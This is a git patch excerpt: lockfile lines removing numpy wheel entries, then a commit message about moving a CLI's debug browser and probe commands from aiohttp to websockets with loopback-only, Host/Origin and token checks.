-    { url = "https://files.pythonhosted.org/packages/7f/57/42ed575c10ced8af951d426bc4e1f8aff16fd851db33f067036215a7f860/numpy-2.4.6-pp311-pypy311_pp73-macosx_14_0_arm64.whl", hash = "sha256:68a5124b13fa6cc2086764a20005d30bc0548146f7f5322f02fce212ca14317f", size = 5394157, upload-time = "2026-05-18T23:36:57.194Z" },
-    { url = "https://files.pythonhosted.org/packages/6a/ef/f66cc724fcc36c1e364c67f51ae9146090b8b584f27d58b97fdae3edd737/numpy-2.4.6-pp311-pypy311_pp73-macosx_14_0_x86_64.whl", hash = "sha256:948424b06129ce883307e8cff868c31396d8dc7630a59c61d70d98dbe70f222c", size = 6708728, upload-time = "2026-05-18T23:36:59.575Z" },
-    { url = "https://files.pythonhosted.org/packages/1a/9c/c531f2293b91265d8b48e9b329f54fdd7ffae73cb4134ea10cca4237e9cc/numpy-2.4.6-pp311-pypy311_pp73-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:5dbbdb29840ca3d91ee0fece42fc29278886d908280bfec0a5846c6f901a3eb0", size = 15798374, upload-time = "2026-05-18T23:37:02.674Z" },
-    { url = "https://files.pythonhosted.org/packages/1a/b0/413077f6b1153ed3cba361401c6783bbad6114804a000cc22eb71c13e190/numpy-2.4.6-pp311-pypy311_pp73-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:8ad03c0965fb3c692200e74d458ca28c1dbb4ce96f9a479a8aa041ad5fabca02", size = 16747286, upload-time = "2026-05-18T23:37:06.327Z" },
-    { url = "https://files.pythonhosted.org/packages/15/ce/e5ec180bc41812edcd8daeb8639d205622c0e8c02259d8ab25a0201b3c2a/numpy-2.4.6-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:2803abfebfc990042cd494d8ce2d5f82e9d847af6d35ec486923aa19dbad5e73", size = 12504263, upload-time = "2026-05-18T23:37:09.715Z" },
-]
-
-[[package]]
-name = "numpy"
-version = "2.5.2"
-source = { registry = "https://pypi.org/simple" }
-resolution-markers = [
-    "python_full_version >= '3.15'",
-    "python_full_version == '3.14.*'",
-    "python_full_version >= '3.12' and python_full_version < '3.14'",
-]
-sdist = { url = "https://files.pythonhosted.org/packages/9a/80/db0b4559e57ec36362bedbb05530a87fafbcb6067708c946967a41d449e7/numpy-2.5.2.tar.gz", hash = "sha256:d482d171c406ae88c5b19cad3b6a1c4c5209f886ab74bc44c2c865c23f52d860", size = 20773161, upload-time = "2026-08-09T13:48:27.962Z" }
-wheels = [
-    { url = "https://files.pythonhosted.org/packages/69/72/dccb0aaf40972777283303919f613964227266d0c13adebb79ac124f1c3e/numpy-2.5.2-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:14e373cfc6387177e8409dac3c7159be8eb05cd77096cd7c950268b86f62831c", size = 16891693, upload-time = "2026-08-09T13:44:51.702Z" },
-    { url = "https://files.pythonhosted.org/packages/60/2e/b5aee50a1f74ac815cf8331812cb8251e29024025de462e0c047641c614c/numpy-2.5.2-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:4bbd96c833ecc8cc069ce518078fc8c60cb9cbfb0fea5b7a803ad65035596d03", size = 11903109, upload-time = "2026-08-09T13:44:55.501Z" },
-    { url = "https://files.pythonhosted.org/packages/f3/f4/29e78102a80601cf034d4e9767022cffeca2c3b4c926e1754572ca95593d/numpy-2.5.2-cp312-cp312-macosx_14_0_arm64.whl", hash = "sha256:6e8172ddfcf5cf74b811d372b570b83c60bd2de87a6fbfbebdadb4a9bd9c6cbb", size = 5350202, upload-time = "2026-08-09T13:44:58.401Z" },
-    { url = "https://files.pythonhosted.org/packages/11/4b/dcd3b7eadaf4035d2c7a4289d232523a6964f602598ef7674e4bd7291f93/numpy-2.5.2-cp312-cp312-macosx_14_0_x86_64.whl", hash = "sha256:65f188481f1669e26f62b701e8205d19e460fa4a9b52a1414ba382330e4a3414", size = 6687736, upload-time = "2026-08-09T13:45:00.813Z" },
-    { url = "https://files.pythonhosted.org/packages/e5/21/4947e0e9d6c9fc2e2ff15b8949049ee44f63adb9cacc729ab8793f97e712/numpy-2.5.2-cp312-cp312-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:8ee9c4eeb8454b3660a8b53493563c3e121c2fc94fbd72b848ef814ed7b676a9", size = 15612696, upload-time = "2026-08-09T13:45:04.151Z" },
-    { url = "https://files.pythonhosted.org/packages/3a/5f/62d28cf019460c7f1394105b4d49d9911a9c444cb77ab0bd95a204c5a6de/numpy-2.5.2-cp312-cp312-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:3cdec01fa790a186d430433fdd4d4ffb70eed6f0eeb4bf05c8dbe2dce0a9bcb8", size = 16722264, upload-time = "2026-08-09T13:45:07.714Z" },
-    { url = "https://files.pythonhosted.org/packages/14/25/3f0be4c1b9fdf5dd5e708a6806978564d7c46a055c000496309ff2a2f8af/numpy-2.5.2-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:7999d4ddb0c4025018373fd787510d46e04c769467af22869707b3c1cfd459ab", size = 16974396, upload-time = "2026-08-09T13:45:11.316Z" },
-    { url = "https://files.pythonhosted.org/packages/22/72/6262cbdeeb45da9d971e40715f579d791603ba8ec0b5e2db1ac55454421d/numpy-2.5.2-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:c1f017dc0875c9209d219f97feceb7d54c2661bb243deb4114478e1295808af7", size = 18476044, upload-time = "2026-08-09T13:45:14.869Z" },
-    { url = "https://files.pythonhosted.org/packages/36/33/29208b8b075bde62d26a81d14b358c42b0f69b6cabd98d4ff97f37f22b05/numpy-2.5.2-cp312-cp312-win32.whl", hash = "sha256:d6a48072864e3324e194a8fbb3c657bcc5b5c869dbc64c9537b1d5c862572c0a", size = 6072817, upload-time = "2026-08-09T13:45:17.867Z" },
-    { url = "https://files.pythonhosted.org/packages/7f/b9/87fea2769fe1c47c1b5b01d8310772c9d1a85d485de7cf386ef7a3332b02/numpy-2.5.2-cp312-cp312-win_amd64.whl", hash = "sha256:28ac63476ec7651484215ee7fa15a1f78b57c14621f01e392afe17b9a1390ce4", size = 12464674, upload-time = "2026-08-09T13:45:20.734Z" },
-    { url = "https://files.pythonhosted.org/packages/14/52/032b97e00461ab0809bbe4c588b035620e5a14b8cdee47ecddefc7b17d33/numpy-2.5.2-cp312-cp312-win_arm64.whl", hash = "sha256:27650bb0e7140fa3d37b9923b4803645e0b125d190f326eecfd3f4dad8e8ade1", size = 10397131, upload-time = "2026-08-09T13:45:23.73Z" },
-    { url = "https://files.pythonhosted.org/packages/f5/d2/6b24738a0ef4557d189b150046cd07823c50e4273e8aebd651222e24306f/numpy-2.5.2-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:8e4cb9a754c8a0c62eaa88273a5fba3391f4a610d1dee893c0755da31c083f15", size = 16886595, upload-time = "2026-08-09T13:45:27.323Z" },
-    { url = "https://files.pythonhosted.org/packages/65/60/f2d208d366f263f39c6e69ed309290717aab41078b6d04c9be2a84fa2a07/numpy-2.5.2-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:52c808f96484f5571a5cc863775ce50247c17dfb3b0361f8ed6b4b0456f80080", size = 11896845, upload-time = "2026-08-09T13:45:31.638Z" },
-    { url = "https://files.pythonhosted.org/packages/3c/79/81e0bf24f4d020a2b1d5cd297a9f60c3f24eeb116f9bba5870443f7b6a4a/numpy-2.5.2-cp313-cp313-macosx_14_0_arm64.whl", hash = "sha256:29d81e97f668489cba8ebfd796b9bdd453525d35dd9e162e2daec94bf3fc7740", size = 5343880, upload-time = "2026-08-09T13:45:34.373Z" },
-    { url = "https://files.pythonhosted.org/packages/ba/cc/e3141cf06d1a8a2c7e107543fe1269c1d1af760d4d683c0794a4ee1127c2/numpy-2.5.2-cp313-cp313-macosx_14_0_x86_64.whl", hash = "sha256:afb3f0632d6b2e3ba04dbce8d1e48d321b369138b73830b5ca371a0e8d479d56", size = 6682264, upload-time = "2026-08-09T13:45:36.7Z" },
-    { url = "https://files.pythonhosted.org/packages/29/f1/2a64a307d92c5d98f5255a4014eb43bb6103ee477087b61ecae44a3aa9b9/numpy-2.5.2-cp313-cp313-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:0aadf13b60048d501e05fa699efaf7734e2494f3498a4c2a5521d822640324f3", size = 15609566, upload-time = "2026-08-09T13:45:39.518Z" },
-    { url = "https://files.pythonhosted.org/packages/7b/44/59a1eb68e773c4098d107ef34a0dbdeca501d72ffcfbff9a7707343921ce/numpy-2.5.2-cp313-cp313-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:29b86ff8a6cc556b47ec6b64b194815cc80e6bf5eedcc6cddfd65318cb0b4eee", size = 16709995, upload-time = "2026-08-09T13:45:43.661Z" },
-    { url = "https://files.pythonhosted.org/packages/8a/4c/3e54d4ddbc359a1295f8b633e8106bcd4d7d4a206e82df051bdfb3058755/numpy-2.5.2-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:6950c4b7dd562453090548ba7f5da7e59f57f85663f15d5dcc60e249192f7e59", size = 16972511, upload-time = "2026-08-09T13:45:47.094Z" },
-    { url = "https://files.pythonhosted.org/packages/f2/9f/02e371638ebf19b66d46231e4be52999e87f32d1961b113bc45656608b22/numpy-2.5.2-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:b9727f472d2f3888053b8a75ab0cb94745a9de224bb5846dbadc0092101bc71d", size = 18465609, upload-time = "2026-08-09T13:45:50.808Z" },
-    { url = "https://files.pythonhosted.org/packages/eb/ae/ad6645abc7a3510fe48e8ea1ab4598166f500057ef4ebf38bfad4f1577de/numpy-2.5.2-cp313-cp313-win32.whl", hash = "sha256:4f9744f9fbdcea0bc552e8f19e1f141f811a3f9bc2be2cc6e86d982cab23e3f4", size = 6070204, upload-time = "2026-08-09T13:45:54.111Z" },
-    { url = "https://files.pythonhosted.org/packages/15/20/f3489f86d81ea460b2bcdceaed094142ca6579f6be0ec527b781d39afe68/numpy-2.5.2-cp313-cp313-win_amd64.whl", hash = "sha256:85aaccb24182c25df891ad0ec333585967e115269d5f1b17f2c9ae005bc96657", size = 12460532, upload-time = "2026-08-09T13:45:57.167Z" },
-    { url = "https://files.pythonhosted.org/packages/d5/21/35b31dde1b283b79de828b80f876afd8c94e28fe1e9c375f89e261cc4c0d/numpy-2.5.2-cp313-cp313-win_arm64.whl", hash = "sha256:bd68ece1553d2023c09a4226d9e41c586ad2d20594d1a456186c33513d2cb3f2", size = 10396725, upload-time = "2026-08-09T13:46:00.478Z" },
-    { url = "https://files.pythonhosted.org/packages/ac/f8/c3b222bf075b50afd8e949a07a15c4b312a4a84bd8102a332bcd953cbbb4/numpy-2.5.2-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:d787cf769c3baeb5f6235e778edb52c08dfa923789b5958f28e6450f96107cb1", size = 16885180, upload-time = "2026-08-09T13:46:03.939Z" },
-    { url = "https://files.pythonhosted.org/packages/17/e1/2c1d4b1987795a92b5bbf7c24fe249ab96aa2573ab0d7604802c189d7b86/numpy-2.5.2-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:24b9dc2e3d84aa58523798805194e23e736f3f6ce2d1a5b92583ae734e6dbda8", size = 11907878, upload-time = "2026-08-09T13:46:07.045Z" },
-    { url = "https://files.pythonhosted.org/packages/b9/ee/d08226fc858044355983a6e5b94f08ff6f3969e0a2b160a4a89f0ddb3445/numpy-2.5.2-cp314-cp314-macosx_14_0_arm64.whl", hash = "sha256:9e9413326d726c2545bfa65d2c0876871e8d8386e77f992c1d426e180bbd4323", size = 5354922, upload-time = "2026-08-09T13:46:10.04Z" },
-    { url = "https://files.pythonhosted.org/packages/94/f0/6d3d933056440ebbc5e6bad92065fc6c26a48a84a36b1208580e94eea76c/numpy-2.5.2-cp314-cp314-macosx_14_0_x86_64.whl", hash = "sha256:60e902ac295855348a5ca2ea4c89108989a9f5fddfad3dfc0a8f36b10358567e", size = 6679168, upload-time = "2026-08-09T13:46:12.275Z" },
-    { url = "https://files.pythonhosted.org/packages/c4/3b/ecd49dd90033cceb2704d88ca905d4d7d89b0e8c739608754ffd325fa820/numpy-2.5.2-cp314-cp314-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:50e500dc868e9313530ce12ba470fe50ff3afe3d62993ed6eff652dacd555b65", size = 15624501, upload-time = "2026-08-09T13:46:15.322Z" },
-    { url = "https://files.pythonhosted.org/packages/c7/99/461bd36dbdfac6c1c53efa370bd55a83227542d0d118f1677dbf1a3dacd5/numpy-2.5.2-cp314-cp314-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:318b9a4c845dbea06708a29c84ee429cc3065048db34cdb799047643492050ee", size = 16713701, upload-time = "2026-08-09T13:46:18.949Z" },
-    { url = "https://files.pythonhosted.org/packages/f9/9c/2b251df9e8a5d647b62b0cbc1b90a91850c1cf4859ecb532fd0b4eacff6c/numpy-2.5.2-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:34c319e2963be042673fb46570501b2f06c41924e17e3563d58646b4380dfb68", size = 16986065, upload-time = "2026-08-09T13:46:23.006Z" },
-    { url = "https://files.pythonhosted.org/packages/8f/25/20de43f53ff1390534a124475055a19f01fe10c920a0fd11b8e18d6d6052/numpy-2.5.2-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:f06571a052127dc1b4e8b83029b4d1b20daa2b64a31cdd181fc6bc774e9000eb", size = 18470031, upload-time = "2026-08-09T13:46:27.102Z" },
-    { url = "https://files.pythonhosted.org/packages/56/5e/0c577ca308d6da5eb79b546ba10bbe5b60148192194e2da060913b1de4f1/numpy-2.5.2-cp314-cp314-win32.whl", hash = "sha256:2cc779226e476d1e1f08c74068c419e60f41a9e0e069c92f6671d31d5c985e98", size = 6121028, upload-time = "2026-08-09T13:46:30.046Z" },
-    { url = "https://files.pythonhosted.org/packages/15/5c/7bcbd5b11f94199073320410cddcbb80cee62415bfeb540874b265c2d922/numpy-2.5.2-cp314-cp314-win_amd64.whl", hash = "sha256:7587f53dfbd5edc0f7b87c6217b4c6d2d1f2ef9c3da70bc1315e7db5f8d7ec9d", size = 12597627, upload-time = "2026-08-09T13:46:32.886Z" },
-    { url = "https://files.pythonhosted.org/packages/87/bc/4d0b06fba0da90ccc75af62823cb9dcedb6c9ea0cffa058cb2c9ee773a77/numpy-2.5.2-cp314-cp314-win_arm64.whl", hash = "sha256:3e4c367352d3747784248a227fbec218e193b56f7e6692e3b64fc805478ecfdf", size = 10680414, upload-time = "2026-08-09T13:46:36.036Z" },
-    { url = "https://files.pythonhosted.org/packages/cd/17/f429aac9dc08833a0d0f188eba38c532a751b1a1f2ca6018a37b455cb321/numpy-2.5.2-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:b879fb674276e331513fb136b78dbc6bd3c848309e0d841cfd63be3896c4cfc1", size = 12026967, upload-time = "2026-08-09T13:46:39.084Z" },
-    { url = "https://files.pythonhosted.org/packages/ca/9f/d0849de96a2a4ceaa16662f18ee13eaa9c0aa418269fdc8c4857c56b11da/numpy-2.5.2-cp314-cp314t-macosx_14_0_arm64.whl", hash = "sha256:fd0d703772bba096843785bd38371e31bb4a0c1151497ad5739d182114a73f7f", size = 5473874, upload-time = "2026-08-09T13:46:42.075Z" },
-    { url = "https://files.pythonhosted.org/packages/89/3c/8df216d4a4a5422a3de045301cf7df8ea47286d76f5cb7160b0128ac26b7/numpy-2.5.2-cp314-cp314t-macosx_14_0_x86_64.whl", hash = "sha256:3a2f061cebd9e3d23bdcfaaded5e2293a4c6a5b60fa42df85d410a725ce621bf", size = 6789276, upload-time = "2026-08-09T13:46:44.387Z" },
-    { url = "https://files.pythonhosted.org/packages/e6/3a/20d7e9891c4ddfadd6ff8d95bf4b29f353d8e1770553de2099880551dfb9/numpy-2.5.2-cp314-cp314t-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6df895598c0edcb41030126c89e0f353b07d93238116143b7405e937359736c4", size = 15659154, upload-time = "2026-08-09T13:46:47.538Z" },
-    { url = "https://files.pythonhosted.org/packages/aa/d6/f3aa3d2688bf501b858835c6bd087ae9b51a56ae6fca8e2b0990abd177af/numpy-2.5.2-cp314-cp314t-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:1ab3d4a901f844ea836c3e80bf463c6a27d7f3c14e8e292fcf28d348b25b9bce", size = 16748909, upload-time = "2026-08-09T13:46:51.442Z" },
-    { url = "https://files.pythonhosted.org/packages/7d/8f/1c5cae8d2baf86ab802ae97a00be55bc7e21ebc11b12bbc33376c5f05342/numpy-2.5.2-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:cebc2d6dbb605a7703d59751dea4bd6b0ab127a5a4338a6f432df1936fef8b26", size = 17027685, upload-time = "2026-08-09T13:46:55.095Z" },
-    { url = "https://files.pythonhosted.org/packages/5c/27/71d3467404aedc1c24ce79610f91b52b0b0f466c43a701aa56fc75c145ab/numpy-2.5.2-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:eaca7ff36f0f52e2111ec71f169d8fd3e889e7ddc0d2592e0d703fd8d3ce8fac", size = 18501181, upload-time = "2026-08-09T13:46:59.09Z" },
-    { url = "https://files.pythonhosted.org/packages/14/2f/42921d27c40aea7e077f4a423ae509fd9220b028cd787bafefd8ab2b3a5f/numpy-2.5.2-cp314-cp314t-win32.whl", hash = "sha256:ddf47472af2e4280d79bac82304f5e80150211f1b9e614b760061d5fdfbb6eba", size = 6271085, upload-time = "2026-08-09T13:47:01.903Z" },
-    { url = "https://files.pythonhosted.org/packages/75/e6/bad5f5d56de9b1971bac959963dda276d35c40f1854475005434bbe08692/numpy-2.5.2-cp314-cp314t-win_amd64.whl", hash = "sha256:44ef9675d908e65f9953063837c3277730f3f4437615a4cdab67b366cabaf884", size = 12787971, upload-time = "2026-08-09T13:47:04.963Z" },
-    { url = "https://files.pythonhosted.org/packages/df/05/f608795cb34391acd67e38d94a3c36abd8d8576293a3a80727d7595c372c/numpy-2.5.2-cp314-cp314t-win_arm64.whl", hash = "sha256:eaa088384c46f519dacb93b7ec483a6d6b19a4a2085ae4f25ab9b1c43d387d1e", size = 10750306, upload-time = "2026-08-09T13:47:07.976Z" },
-    { url = "https://files.pythonhosted.org/packages/33/c6/28de0191c5f82b7d42a0a51390ba98587048aa93a39fafb05bdbe6e8d00c/numpy-2.5.2-cp315-cp315-macosx_10_15_x86_64.whl", hash = "sha256:078f9b027b478c9379b9677babbf0f8b8f1ecfada27636d7b9a93990c638739f", size = 16885274, upload-time = "2026-08-09T13:47:11.439Z" },
-    { url = "https://files.pythonhosted.org/packages/dd/d1/973ca116000d244897e468ea1aff30b589e5022e3c8744b71706fe33bd57/numpy-2.5.2-cp315-cp315-macosx_11_0_arm64.whl", hash = "sha256:50a68f4bacd8a2b33d8da3d2269d0d78500f86ea582e4786dc10f5ef2c2c6842", size = 11907846, upload-time = "2026-08-09T13:47:15.128Z" },
-    { url = "https://files.pythonhosted.org/packages/78/d9/8c4b3937ef204cb2fd88d389ccd0f265a2ffb11f35a01d2064cf46714bd6/numpy-2.5.2-cp315-cp315-macosx_14_0_arm64.whl", hash = "sha256:e79aba74ffaf5f78a050d777c184cddf8fdffabab38acf5f3ef1fecbc17895d6", size = 5354892, upload-time = "2026-08-09T13:47:18.07Z" },
-    { url = "https://files.pythonhosted.org/packages/74/9b/b6ee65ea2999fdb7023935e108e6fb776ee4082aa15f159acfa857e578c8/numpy-2.5.2-cp315-cp315-macosx_14_0_x86_64.whl", hash = "sha256:9a0731745a72a184490a582fb4af2533512bd071ace67785b5fdffc0ae58dce8", size = 6679309, upload-time = "2026-08-09T13:47:20.456Z" },
-    { url = "https://files.pythonhosted.org/packages/43/f3/acb18d8b137a393c8e7803a8c994c9e64bde3930692a69d826993113a159/numpy-2.5.2-cp315-cp315-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:4ec954036759bcee3aa484f8603bd9c14f3e776293b85578b8734c2d72777c69", size = 15625850, upload-time = "2026-08-09T13:47:24.365Z" },
-    { url = "https://files.pythonhosted.org/packages/a9/bf/a8e9bb0db815a0e265b5744ebedd3af0bd5faad8604e5b50a1cd012f3c91/numpy-2.5.2-cp315-cp315-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:dc649493697006bc90614a5f0bbc8cb3cb1866715c474e473694968d7e6b99ab", size = 16713664, upload-time = "2026-08-09T13:47:27.965Z" },
-    { url = "https://files.pythonhosted.org/packages/0c/c3/6e913736b3dd6582344af32418b5fb9dab34282e8a8174ae1d54ceb0fc13/numpy-2.5.2-cp315-cp315-musllinux_1_2_aarch64.whl", hash = "sha256:cf7de32f486e4ac9e2d93b810f9e9ac72a728dd46a32a0bb403222f27f653514", size = 16986749, upload-time = "2026-08-09T13:47:31.541Z" },
-    { url = "https://files.pythonhosted.org/packages/80/09/7d3b23eff5c7428ef6c01e6f7052bb60d504c4d33e317b36b8959c24ad97/numpy-2.5.2-cp315-cp315-musllinux_1_2_x86_64.whl", hash = "sha256:2ffa7bacab3e2ee1b19ed31766bb60bb380b68c23f051e199c5cc598afd68710", size = 18470495, upload-time = "2026-08-09T13:47:35.364Z" },
-    { url = "https://files.pythonhosted.org/packages/a5/a4/68a321d825374f6eb677ffe8ef8c6b9a328304e6fd2e39d9530822776607/numpy-2.5.2-cp315-cp315-win32.whl", hash = "sha256:6b588cc8f902d6bff201c19fd00c43ab8545671e3554d014e12e14139e5e8617", size = 6120696, upload-time = "2026-08-09T13:47:38.561Z" },
-    { url = "https://files.pythonhosted.org/packages/c8/23/deafbb1700f79fae9cd1e91220f133d124cc267de1b584da3fbf6db2f6cd/numpy-2.5.2-cp315-cp315-win_amd64.whl", hash = "sha256:07d4e89f3a9ab0a9ba24264ccdb642b3dd951b2281e8883a5481a4aa79cc31a7", size = 12597324, upload-time = "2026-08-09T13:47:41.401Z" },
-    { url = "https://files.pythonhosted.org/packages/33/cd/3272ba105e3bbbdaeb11357eda31e7a6825ffe159e8171665660299a948f/numpy-2.5.2-cp315-cp315-win_arm64.whl", hash = "sha256:a610dc7e3c52edd39c2bc2375ff9c3fd59cb3ad00e4472d36f83bc1457145788", size = 10680466, upload-time = "2026-08-09T13:47:44.873Z" },
-    { url = "https://files.pythonhosted.org/packages/0e/0e/58370637b1bb70a5c9ce2b43f4b521ccb224e36ccb76a6596b17ae4b447c/numpy-2.5.2-cp315-cp315t-macosx_10_15_x86_64.whl", hash = "sha256:40f4d451aed46a8046a1aae41c4e55fb3612273df9c502480135e1501576a34b", size = 16993947, upload-time = "2026-08-09T13:47:48.97Z" },
-    { url = "https://files.pythonhosted.org/packages/10/93/2abcb807712b289d6d60fe4cf30532f98974a8396d885650f3ba5a13026e/numpy-2.5.2-cp315-cp315t-macosx_11_0_arm64.whl", hash = "sha256:c081cbe16ba1ab53078e5ff29013621e33c509eedab055775d956427712c236e", size = 12025331, upload-time = "2026-08-09T13:47:52.646Z" },
-    { url = "https://files.pythonhosted.org/packages/8b/3a/2898e003a5fbaf87e76c039b4ee1f5eb390471b4ffe74887c1f34c4e791e/numpy-2.5.2-cp315-cp315t-macosx_14_0_arm64.whl", hash = "sha256:0090ccdd57ec2703e9b49d0bf554767370581c1dd0a6b2bb2b2d9def317d042a", size = 5472336, upload-time = "2026-08-09T13:47:55.403Z" },
-    { url = "https://files.pythonhosted.org/packages/61/a5/23f69d07c544597b29758b31b55c27dc9d541012a2c1496189fef702aec2/numpy-2.5.2-cp315-cp315t-macosx_14_0_x86_64.whl", hash = "sha256:6a9bb119fb8dd21ba30b3f0e555b7e2b081bd9883af21ec9c1c633d161cda3a8", size = 6788387, upload-time = "2026-08-09T13:47:58.192Z" },
-    { url = "https://files.pythonhosted.org/packages/15/ea/c0dbdbcf22f43782510a3e492dd3da73c6112b69cac8929d16d127536fc4/numpy-2.5.2-cp315-cp315t-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:a839318485284a6fb31be4f8f2c91c8f2cb22f4543c4a8903f12b0671ffe07cc", size = 15667096, upload-time = "2026-08-09T13:48:01.562Z" },
-    { url = "https://files.pythonhosted.org/packages/fc/5e/29c73c31748cdb0f7566642125ba17fd5b56780cddf891b085dab27e4466/numpy-2.5.2-cp315-cp315t-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:ba0a474801b8dc67b66bf465548abc90e82b44d2611b5770f33008dcabffe8ec", size = 16751730, upload-time = "2026-08-09T13:48:05.706Z" },
-    { url = "https://files.pythonhosted.org/packages/47/95/02501e8454796bb58dadf7a99d3181e0b464bf264e1003039572f9779fac/numpy-2.5.2-cp315-cp315t-musllinux_1_2_aarch64.whl", hash = "sha256:0a4035ae1129ff8777f08bfbd44f1e5d8e9c049ce0c2dd78fc0d92c13e7251c0", size = 17038686, upload-time = "2026-08-09T13:48:09.627Z" },
-    { url = "https://files.pythonhosted.org/packages/0e/b5/53a681d91b5c82687067d8ea5035e02d917b5509d6f334cb06484a954714/numpy-2.5.2-cp315-cp315t-musllinux_1_2_x86_64.whl", hash = "sha256:77843ca236b777e67f8d6b3660ea116e499612703a0ecd7093f316201eb9d8e2", size = 18507727, upload-time = "2026-08-09T13:48:13.744Z" },
-    { url = "https://files.pythonhosted.org/packages/42/06/6e11443f7b64ee376c860506091103bf68f92d2cab9e8d96d4501babf07c/numpy-2.5.2-cp315-cp315t-win32.whl", hash = "sha256:7354826bc6f8f69402e9b7fe28d15fcd34feebd74f856f111585c5b0c9fb0251", size = 6269775, upload-time = "2026-08-09T13:48:17.543Z" },
-    { url = "https://files.pythonhosted.org/packages/f1/18/195d6b86cd72dbbc501edfa778005fa6b87afd34c153e46028cd3a0938f4/numpy-2.5.2-cp315-cp315t-win_amd64.whl", hash = "sha256:e5651f3f87add730ee6608d915009e19c911fba0cb000c7e3ea994b7d768eb12", size = 12782559, upload-time = "2026-08-09T13:48:21.023Z" },
-    { url = "https://files.pythonhosted.org/packages/b4/07/458c344f0f0c178f4481dad5cca790626ffe4c34eabf9467069d06ee4999/numpy-2.5.2-cp315-cp315t-win_arm64.whl", hash = "sha256:5f8e00be2ec6f45f4e8a41a527f68d44a7d96fee92a650e4d8b1326f77f61e6e", size = 10748103, upload-time = "2026-08-09T13:48:24.21Z" },
-]
-
 [[package]]
 name = "packaging"
 version = "26.3"

From 946605829e4ad96173bd6b1ae4ec4db70392e9a3 Mon Sep 17 00:00:00 2001
From: Corey Weathers <corey.weathers@deepgram.com>
Date: Sat, 31 Oct 2026 21:03:10 -0400
Subject: [PATCH 28/88] refactor(debug): run debug browser and probe on
 websockets

debug browser:

Serve the page and the /ws socket from websockets.asyncio.server instead
of aiohttp, and declare websockets>=13.1,<18. The server binds 127.0.0.1
only and checks every request before the handshake: the Host must be
this listener, the page and the socket need the per-run ?t= token, and
the socket needs the page's own Origin (without the port on port 80, as
browsers send it). Refusals are fixed text. The page is served with
no-store, nosniff, frame-deny and no-referrer headers, and no Server
header.

The listener is bound before the URL is shown, so the URL is the one
being served, now http://127.0.0.1:PORT/?t=... A frame that isn't a
valid message is dropped instead of ending the connection, binary frames
are ignored, and what the page can make the command keep is bounded:
messages of up to 64 KiB, at most 1,000 and 8 MiB of them as stored, and
only the 12 known capability names; anything else is counted and noted
after the results. Text from the page is printed as escaped ASCII, never
as markup. Server logs go to a silenced logger.

The command's output, including the page link, now goes to stderr; under
-o json or yaml, stdout holds only the result.

Tests use real loopback servers instead of aiohttp mocks.

debug probe:

Run the probe proxy on websockets.asyncio (server and client) instead of
aiohttp, and declare websockets>=13.1,<18. Frames are relayed as they
arrive, so text stays text and binary stays binary, up to 4 MiB each way
as before. When either side closes, the other direction is cancelled,
the final probe and summary run, and the client is closed with 1000.

The proxy accepts connections only from local pages and native clients.
Checked before the handshake and before any upstream connection, the
Host must name this listener (without the port on port 80) and an
Origin, if sent, must be a page on this machine. The target must start
with "/". A refused Origin prints one line. The key is only sent in the
upstream Authorization header; client headers and subprotocols are not
forwarded, and the client and server loggers are silenced. Text from
requests is printed as escaped ASCII, and transcripts with their
Unicode kept, never as markup.

ffprobe snapshots run as asyncio subprocesses, so they no longer hold up
other connections or Ctrl+C. On POSIX, Ctrl+C is handled on the event loop:
the first stops listening, stops relaying (frames read after it
are counted as dropped) and lets open connections print their summaries;
a second closes them without waiting for close handshakes, stops a
running ffprobe and skips the final probe. A SIGINT that was ignored
when the command started stays ignored, and the previous handler is put
back on exit. The upstream URL base is an attribute, so tests point it
at a loopback server.

With websockets 15 or later, the upstream connection follows
HTTPS_PROXY and NO_PROXY, as listen and the CLI's HTTP requests do.

The upstream opens through deepctl_core.websocket.open_async, so a
redirect on the upgrade is still refused before any request to the new
location ("Upstream connection refused", no audio sent); the aiohttp
trace hook that did this goes with aiohttp.

debug browser and debug probe now run on websockets, so neither needs
aiohttp. Nothing else did, so it leaves the install with the seven dists
only it pulled in: aiohappyeyeballs, aiosignal, async-timeout,
frozenlist, multidict, propcache and yarl (about 11 MiB on
linux/amd64).

uv.lock is regenerated with uv 0.13.6. The eight names leave the
dependency allowlist, and aiohttp joins the dists that must not come
back.
---
 packages/deepctl-cmd-debug-browser/README.md  |   2 +-
 .../deepctl-cmd-debug-browser/pyproject.toml  |   2 +-
 .../src/deepctl_cmd_debug_browser/command.py  | 503 +++++++----
 .../static/debug.html                         |   4 +-
 .../tests/unit/test_browser_command.py        | 708 ++++++++++++++--
 .../tests/unit/test_websockets_floor.py       |  22 +
 packages/deepctl-cmd-debug-probe/README.md    |   2 +-
 .../deepctl-cmd-debug-probe/pyproject.toml    |   2 +-
